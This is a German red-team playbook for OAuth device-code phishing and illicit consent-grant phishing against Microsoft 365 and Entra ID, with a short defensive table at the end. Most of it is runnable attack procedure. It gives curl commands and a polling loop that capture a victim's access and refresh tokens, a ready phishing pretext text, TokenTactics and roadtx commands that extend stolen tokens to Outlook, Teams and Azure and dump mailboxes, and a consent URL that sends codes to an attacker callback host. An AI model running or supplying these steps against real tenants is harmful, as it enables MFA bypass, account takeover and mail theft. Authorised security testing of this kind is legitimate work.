Angriff auf OAuth mit Device-Code-Phishing
Rechtlicher Hinweis: Dieses Skill ist nur für autorisierte Sicherheitstests, Red-Team-Einsätze und zu Schulungszwecken bestimmt. Device-Code- und Consent-Grant-Phishing manipulieren echte Benutzer, um vom Angreifer kontrollierten Zugriff auf Unternehmensidentitäten zu autorisieren. Führen Sie Aktionen nur gegen Mandanten aus, die Sie besitzen oder für die Sie eine explizite schriftliche Autorisierung (Einsatzregeln) zum Testen haben. Unbefugte Nutzung verstößt gegen den Computer Fraud and Abuse Act und gleichwertige Gesetze weltweit.
Überblick
Der OAuth 2.0 Device Authorization Grant (RFC 8628) wurde für eingabeeingeschränkte Geräte (Smart-TVs, CLI-Tools) entwickelt, die nicht einfach einen browserbasierten Login präsentieren können. Ein Gerät fordert einen kurzen user_code und einen device_code an, zeigt dem Benutzer den user_code und eine Verifikations-URL an und fragt den Token-Endpunkt ab, während der Benutzer sich auf einem separaten, voll ausgestatteten Gerät authentifiziert. Angreifer nutzen diesen Ablauf: Anstatt eines Smart-TVs ist das „Gerät” der Rechner des Angreifers. Der Angreifer initiiert die Device-Code-Anfrage, phished dann ein Opfer, um die legitime Microsoft-Verifikationsseite (https://microsoft.com/devicelogin) zu besuchen und den vom Angreifer generierten user_code einzugeben. Da sich das Opfer auf der echten Microsoft-Anmeldeseite authentifiziert (einschließlich MFA), werden die resultierenden Tokens an die Polling-Sitzung des Angreifers ausgegeben. Dies umgeht MFA vollständig: Der zweite Faktor wird vom Opfer erfüllt, aber die Bearer-Tokens landen beim Angreifer (zugeordnet zu MITRE ATT&CK T1528 – Diebstahl von Anwendungszugriffstoken).
Microsoft Threat Intelligence, Volexity und Proofpoint dokumentierten ein starkes Wachstum von Device-Code-Phishing bis 2025, wobei Russland-verbundene Akteure (von Microsoft als Storm-2372 getrackt) zu den produktivsten gehörten. Die M-Trends-Berichte von Mandiant heben ebenfalls den Diebstahl von OAuth-Tokens als einen führenden Cloud-Erstzugriffsvektor hervor. Eine eng verwandte Technik ist der Illicit Consent Grant („OAuth-Phishing“): Der Angreifer registriert eine Multi-Tenant-App und trickst das Opfer aus, eine /adminconsent- oder User-Consent-URL zu anklicken, wodurch der bösartigen App delegierte Microsoft Graph-Berechtigungen (Mail.Read, Files.ReadWrite.All, offline_access) erteilt werden, die unabhängig von Passwortzurücksetzungen bestehen bleiben. Dieses Skill behandelt beide Techniken sowie die Token-Wiederverwendung über Microsoft 365-Dienste hinweg mit TokenTactics und die Validierung/Zugriffszuordnung mit ROADtools.
Die entscheidende Eigenschaft, die Red Teams ausnutzen: Zugriffstoken, die über den Device-Code-Flow ausgestellt werden, sind etwa 60–90 Minuten gültig, aber das beiliegende Refresh-Token (mit offline_access-Bereich) überlebt bis zu 90 Tage und kann gegen frische Tokens für jede First-Party-Ressource eingelöst werden, die der Client anfordern darf – Outlook, SharePoint, Teams, Azure Resource Manager – und ermöglicht so einen dauerhaften, MFA-überdauernden Zugriff.
Wann verwenden
- Während eines autorisierten Red-Team- oder Assumed-Breach-Einsatzes gegen Microsoft 365 / Entra ID, bei dem Social Engineering im Umfang enthalten ist
- Bei der Validierung von Conditional Access-Richtlinien, MFA-Erzwingung und Token-Schutzmaßnahmen gegen echte Phishing-Techniken
- Beim Testen, ob eine Organisation den OAuth-Device-Code-Flow einschränkt oder die Zustimmung zu ungeprüften Multi-Tenant-Apps blockiert
- Bei der Demonstration von MFA-Umgehungsrisiken, um phishing-resistente Authentifizierung (FIDO2) und Token-Binding-Kontrollen zu rechtfertigen
- Beim Aufbau von Erkennungsmechanismen (gekoppelt mit dem Blue-Team-Skill
hunting-saas-sso-token-abuse) und wenn Sie realistische Telemetriedaten benötigen
Voraussetzungen
- Schriftliche Autorisierung / Einsatzregeln, die Phishing und Token-Diebstahl gegen den Ziel-Mandanten ausdrücklich erlauben
- Ein kontrollierter Pretext-Zustellungskanal (sanktionierte Phishing-Infrastruktur oder ein internes Testpostfach)
- Linux- oder Windows-Angreifer-Host mit Python 3.8+ und PowerShell 7+
- TokenTactics (PowerShell) und ROADtools (Python) installiert:
# ROADtools (roadrecon + roadtx) — Dirk-jan Mollema / Outsider Security pip install roadtools roadtools_auth # roadtx (ROADtools Token eXchange) ist in roadtools_auth enthalten roadtx --help # TokenTactics v2 (rvrsh3ll) git clone https://github.com/rvrsh3ll/TokenTactics.git pwsh -c "Import-Module ./TokenTactics/TokenTactics.psd1" - Vertrautheit mit OAuth 2.0 Grant-Typen, JWT-Struktur und Microsoft Graph-Bereichen
Ziele
- Initiieren einer OAuth-Device-Code-Anfrage gegen Entra ID unter Verwendung einer First-Party-Client-ID
- Liefern eines glaubwürdigen Pretextes, der das Opfer zur echten Microsoft-Gerätelogin-Seite führt
- Abfragen des Token-Endpunkts und Erfassen der Access- und Refresh-Tokens des Opfers
- Aktualisieren von Tokens über Microsoft 365-Ressourcen hinweg (Graph, Outlook, Azure-Management), um den Zugriff zu erweitern
- Ausführen der Illicit-Consent-Variante durch Registrieren und Phishing der Zustimmung für eine bösartige Multi-Tenant-App
- Auflisten zugänglicher Ressourcen und Daten mit ROADtools, um die Auswirkungen zu demonstrieren
- Dokumentieren der MFA-Umgehung und Erstellen von Abhilfeempfehlungen
MITRE ATT&CK-Zuordnung
| ID | Technik | Anwendung in diesem Skill |
|---|---|---|
| T1528 | Diebstahl von Anwendungszugriffstoken | Phishing des Device-Code-Flows / Consent Grants liefert angreiferkontrollierte OAuth Access- und Refresh-Tokens, die wiederverwendet werden, um auf Cloud-Dienste zuzugreifen, ohne sich erneut zu authentifizieren |
Verwandte Techniken, die häufig verknüpft werden: T1566 Phishing (Zustellung), T1550.001 Application Access Token (Wiederverwendung gestohlener Tokens), T1098.003 Account Manipulation: Additional Cloud Roles (Consent-Grant-Persistenz).
Arbeitsablauf
Phase 1: Initiieren der Device-Code-Anfrage
Der Angreifer fordert einen Device-Code von Entra ID an und wählt dabei einen First-Party-Client, dem das Opfer implizit vertraut. Die Microsoft Office-Client-ID d3590ed6-52b3-4102-aeff-aad2292ab01c wird häufig verwendet, da sie für umfangreiche First-Party-Ressourcen vorautorisiert ist.
-
Fordern Sie einen Device-Code direkt über den Token-Endpunkt an:
# client_id = Microsoft Office; scope fordert offline_access für ein langlebiges Refresh-Token an curl -s -X POST \ 'https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode' \ -d 'client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c' \ -d 'scope=https://graph.microsoft.com/.default offline_access' | tee devicecode.json -
Die JSON-Antwort enthält die Felder, die Sie nutzen:
{ "user_code": "B7HVQXKZ2", "device_code": "GMMhmHCXhWEzkobqIHGG_EnNYYsAkukHspeYUk9E8...", "verification_uri": "https://microsoft.com/devicelogin", "expires_in": 900, "interval": 5, "message": "Melden Sie sich an, indem Sie einen Webbrowser öffnen und die Seite https://microsoft.com/devicelogin aufrufen und den Code B7HVQXKZ2 eingeben." } -
Beachten Sie das 15-minütige Gültigkeitsfenster (
expires_in: 900) – der Pretext muss das Opfer dazu bringen, sich schnell zu authentifizieren.Äquivalent mit TokenTactics (behandelt das Polling automatisch):
Import-Module ./TokenTactics/TokenTactics.psd1 # Generiert einen Device-Code und beginnt mit dem Polling; gibt den user_code zum Phishing aus Get-AzureToken -Client MSGraph
Phase 2: Zustellen des Pretextes
Die Phishing-Nachricht darf KEINEN Link zum Abgreifen von Anmeldeinformationen enthalten – das Opfer authentifiziert sich auf der echten Microsoft-Seite, was den Benutzerverdacht und MFA umgeht.
- Erstellen Sie einen Pretext, der auf die echte
https://microsoft.com/devicelogin-URL und denuser_codeverweist (z.B. „Die IT-Abteilung registriert Ihr Konto für das neue Teams Rooms-Gerät; öffnen Sie microsoft.com/devicelogin und geben Sie innerhalb von 15 Minuten den Code B7HVQXKZ2 ein”). - Senden Sie über eine sanktionierte Phishing-Infrastruktur. Hyperlink-Codes/URLs landen häufig im Spam, daher präsentieren Sie URL und Code als Klartext.
- Timing der Zustellung zum Beginn eines Polling-Zyklus, damit der Code frisch ist.
Phase 3: Pollen und Erfassen von Tokens
Während das Opfer sich authentifiziert und die Anfrage genehmigt, pollt den Token-Endpunkt mit dem device_code, bis Tokens ausgestellt werden.
- Pollt in dem vom Server angegebenen Intervall (5 Sekunden);
authorization_pendingwird erwartet, bis das Opfer die Anmeldung abschließt:DEVICE_CODE=$(python -c "import json;print(json.load(open('devicecode.json'))['device_code'])") while true; do RESP=$(curl -s -X POST \ 'https://login.microsoftonline.com/organizations/oauth2/v2.0/token' \ -d 'grant_type=urn:ietf:params:oauth:grant-type:device_code' \ -d 'client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c' \ -d "device_code=${DEVICE_CODE}") echo "$RESP" | grep -q access_token && { echo "$RESP" > tokens.json; break; } echo "$RESP" | grep -q authorization_pending || echo "$RESP" sleep 5 done - Bei Erfolg liefert die Antwort
access_token,refresh_token,id_token,expires_inund den gewährtenscope. - Dekodieren Sie das Access-Token, um die erfasste Identität, Zielgruppe und Bereiche zu bestätigen:
python -c "import json,base64;p=json.load(open('tokens.json'))['access_token'].split('.')[1];print(json.loads(base64.urlsafe_b64decode(p+'=='*(-len(p)%4))))"
Phase 4: Aktualisieren über Microsoft 365-Ressourcen hinweg
Das Refresh-Token (mit offline_access) kann gegen Tokens für andere First-Party-Ressourcen eingelöst werden, wodurch der Zugriff über den ursprünglichen Bereich hinaus erweitert wird.
- Verwenden Sie TokenTactics-Refresh-Funktionen, um das Refresh-Token auf bestimmte Dienste zu übertragen:
# $response enthält das Device-Code-Ergebnis von Get-AzureToken $rt = $response.refresh_token Invoke-RefreshToOutlookToken -domain target.com -refreshToken $rt # Postfachzugriff Invoke-RefreshToMSGraphToken -domain target.com -refreshToken $rt # Graph Invoke-RefreshToMSTeamsToken -domain target.com -refreshToken $rt # Teams Invoke-RefreshToAzureCoreManagementToken -domain target.com -refreshToken $rt # ARM Invoke-RefreshToSubstrateToken -domain target.com -refreshToken $rt - Äquivalent mit roadtx, lösen Sie das Refresh-Token für eine neue Ressource ein:
roadtx refreshtokento \ -r "$(python -c "import json;print(json.load(open('tokens.json'))['refresh_token'])")" \ -c d3590ed6-52b3-4102-aeff-aad2292ab01c \ -s https://graph.microsoft.com/.default - Demonstrieren Sie den Postfachzugriff, um die Auswirkungen zu belegen (schreibgeschützt, im Rahmen der Einsatzregeln):
Invoke-DumpOWAMailboxViaMSGraphApi -AccessToken $response.access_token -mailFolder Inbox
Phase 5: Illicit-Consent-Grant-Variante
Anstelle eines Device-Codes registrieren Sie eine bösartige Multi-Tenant-App und phishn das Opfer, um delegierten Graph-Berechtigungen für dauerhaften, passwort-zurücksetzungsresistenten Zugriff zuzustimmen.
- Registrieren Sie eine Multi-Tenant-App in einem Angreifer-Mandanten, die delegierte Bereiche wie
Mail.Read,Files.ReadWrite.All,offline_accessanfordert. - Erstellen Sie eine User-Consent-URL und phishn Sie diese:
https://login.microsoftonline.com/common/oauth2/v2.0/authorize? client_id=<ANGREIFER_APP_ID> &response_type=code &redirect_uri=https://angreifer.example/callback &response_mode=query &scope=offline_access%20Mail.Read%20Files.ReadWrite.All &state=12345 - Wenn das Opfer zustimmt, tauschen Sie den zurückgegebenen
codegegen Tokens:curl -s -X POST 'https://login.microsoftonline.com/common/oauth2/v2.0/token' \ -d 'client_id=<ANGREIFER_APP_ID>' \ -d 'grant_type=authorization_code' \ -d 'code=<AUTH_CODE>' \ -d 'redirect_uri=https://angreifer.example/callback' \ -d 'client_secret=<APP_SECRET>' \ -d 'scope=offline_access Mail.Read Files.ReadWrite.All' - Der zugestimmte OAuth-Grant bleibt als Service-Principal-Grant im Opfer-Mandanten bestehen, bis ein Administrator ihn widerruft (
Remove-MgServicePrincipalOauth2PermissionGrant).
Phase 6: Auswirkungen mit ROADtools auflisten
- Authentifizieren Sie roadrecon mit dem erfassten Token/Refresh-Token und dumpen Sie das Verzeichnis:
roadrecon auth --refresh-token "$(python -c "import json;print(json.load(open('tokens.json'))['refresh_token'])")" \ -c d3590ed6-52b3-4102-aeff-aad2292ab01c roadrecon gather roadrecon gui # Durchsuchen Sie Benutzer, Gruppen, App-Registrierungen, Rollenzuweisungen - Identifizieren Sie wertvollen Zugriff: Rollenzuweisungen, eigene Anwendungen, zugängliche SharePoint-Websites und zusätzliche Consent-Grants.
- Zeichnen Sie genau auf, welche Daten und Rollen die gestohlenen Tokens für den Einsatzbericht erreicht haben.
Tools und Ressourcen
| Tool | Zweck | Quelle |
|---|---|---|
| TokenTactics v2 | Generieren von Device-Codes und Aktualisieren von Tokens über M365-Dienste | https://github.com/rvrsh3ll/TokenTactics |
| ROADtools (roadrecon / roadtx) | Token-Austausch, Verzeichnisauflistung, Zugriffszuordnung | https://github.com/dirkjanm/ROADtools |
| AADInternals | Entra ID Angriffs-/Aufklärungs-PowerShell-Toolkit | https://github.com/Gerenios/AADInternals |
| RFC 8628 | OAuth 2.0 Device Authorization Grant-Spezifikation | https://datatracker.ietf.org/doc/html/rfc8628 |
| Microsoft / Storm-2372 Advisory | Analyse von Device-Code-Phishing-Kampagnen | https://www.microsoft.com/en-us/security/blog/ |
| Mandiant M-Trends | Trendbericht zu OAuth-Token-Diebstahl | https://cloud.google.com/security/resources/m-trends |
Verteidigungsempfehlungen
| Kontrolle | Wirkung |
|---|---|
Conditional Access-Richtlinie, die den Device-Code-Flow (authenticationFlows) für Benutzer blockiert, die ihn nicht benötigen | Entfernt die Angriffsfläche für die meisten Benutzer |
| Phishing-resistente MFA (FIDO2 / Passkeys) + Token-Schutz (Token Binding) | Gebundene Tokens können nicht auf dem Gerät des Opfers wiedergegeben werden |
| Benutzerzustimmung auf verifizierte Herausgeber beschränken / Admin-Zustimmung erforderlich machen | Blockiert Illicit-Consent-Grants |
| Anmeldehäufigkeit + kürzere Sitzungslebensdauer in nicht vertrauenswürdigen Netzwerken | Begrenzt die Langlebigkeit von Refresh-Tokens |
Überwachen von AADNonInteractiveUserSignInLogs auf Device-Code-Grants und anomale Token-Nutzung | Erkennung (siehe hunting-saas-sso-token-abuse) |
Validierungskriterien
- Device-Code-Anfrage hat einen gültigen
user_codeunddevice_codezurückgegeben - Pretext wurde unter Verweis auf die echte Microsoft-Gerätelogin-Seite zugestellt (kein Harvesting-Link)
- Token-Endpunkt wurde abgefragt und
access_token+refresh_tokenwurden erfasst